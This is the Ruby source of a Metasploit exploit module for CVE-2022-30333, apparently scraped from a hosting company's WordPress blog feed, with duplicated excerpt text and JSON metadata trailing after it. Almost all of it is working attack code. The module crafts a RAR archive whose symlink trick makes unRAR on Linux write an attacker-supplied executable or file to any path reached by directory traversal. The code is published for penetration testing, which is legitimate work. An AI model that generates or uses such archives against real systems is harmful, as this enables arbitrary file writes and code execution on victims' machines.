##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Format::RarSymlinkPathTraversal<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘UnRAR Path Traversal (CVE-2022-30333)’,
‘Description’ => %q{
This module creates a RAR file that exploits CVE-2022-30333, which is a
path-traversal vulnerability in unRAR that can extract an arbitrary file
to an arbitrary location on a Linux system. UnRAR fixed this
vulnerability in version 6.12 (open source version 6.1.7).<\/p>\n
The core issue is that when a symbolic link is unRAR’ed, Windows
symbolic links are not properly validated on Linux systems and can
therefore write a symbolic link that points anywhere on the filesystem.
If a second file in the archive has the same name, it will be written
to the symbolic link path.
},
‘Author’ => [
‘Simon Scannell’, # Discovery \/ initial disclosure (via Sonar)
‘Ron Bowes’, # Analysis, PoC, and module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2022-30333’],
[‘URL’, ‘https:\/\/blog.sonarsource.com\/zimbra-pre-auth-rce-via-unrar-0day\/’],
[‘URL’, ‘https:\/\/github.com\/pmachapman\/unrar\/commit\/22b52431a0581ab5d687747b65662f825ec03946’],
[‘URL’, ‘https:\/\/attackerkb.com\/topics\/RCa4EIZdbZ\/cve-2022-30333\/rapid7-analysis’],
],
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Targets’ => [
[ ‘Generic RAR file’, {} ]],
‘DefaultTarget’ => 0,
‘Privileged’ => false,
‘DisclosureDate’ => ‘2022-06-28’,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [],
‘SideEffects’ => []}
)
)<\/p>\n
register_options(
[
OptString.new(‘FILENAME’, [ false, ‘The file name.’, ‘payload.rar’]),
OptString.new(‘CUSTOM_PAYLOAD’, [ false, ‘A custom payload to encode’ ]),
OptString.new(‘TARGET_PATH’, [ true, ‘The location the payload should extract to (can, and should, contain path traversal characters – “..\/..\/” – as well as a filename).’]),
OptString.new(‘SYMLINK_FILENAME’, [ true, ‘The name of the symlink file to use (must be 12 characters or less; default: random)’, Rex::Text.rand_text_alpha_lower(4..12)])
])
end<\/p>\n
def exploit
print_status(“Target filename: #{datastore[‘TARGET_PATH’]}”)<\/p>\n
if datastore[‘CUSTOM_PAYLOAD’].present?
print_status(“Encoding custom payload file: #{datastore[‘CUSTOM_PAYLOAD’]}”)
payload_data = File.binread(datastore[‘CUSTOM_PAYLOAD’])<\/p>\n
# Append a newline + NUL byte, since random data will be appended and we
# don’t want to break shellscripts
payload_data.concat(“\\n\\0”)
else
print_status(‘Encoding configured payload’)
payload_data = generate_payload_exe
end<\/p>\n
begin
rar = encode_as_traversal_rar(datastore[‘SYMLINK_FILENAME’], datastore[‘TARGET_PATH’], payload_data)
rescue StandardError => e
fail_with(Failure::BadConfig, “Failed to encode RAR file: #{e}”)
end<\/p>\n
file_create(rar)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMATinclude Msf::Exploit::EXEinclude Msf::Exploit::Format::RarSymlinkPathTraversal def initialize(info = {})super(update_info(info,‘Name’ => ‘UnRAR Path Traversal (CVE-2022-30333)’,‘Description’ => %q{This module creates a RAR file that exploits CVE-2022-30333, which is apath-traversal vulnerability in unRAR that can extract an arbitrary fileto an arbitrary location on a …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59722","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59722","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59722"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59722\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59722"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59722"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59722"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}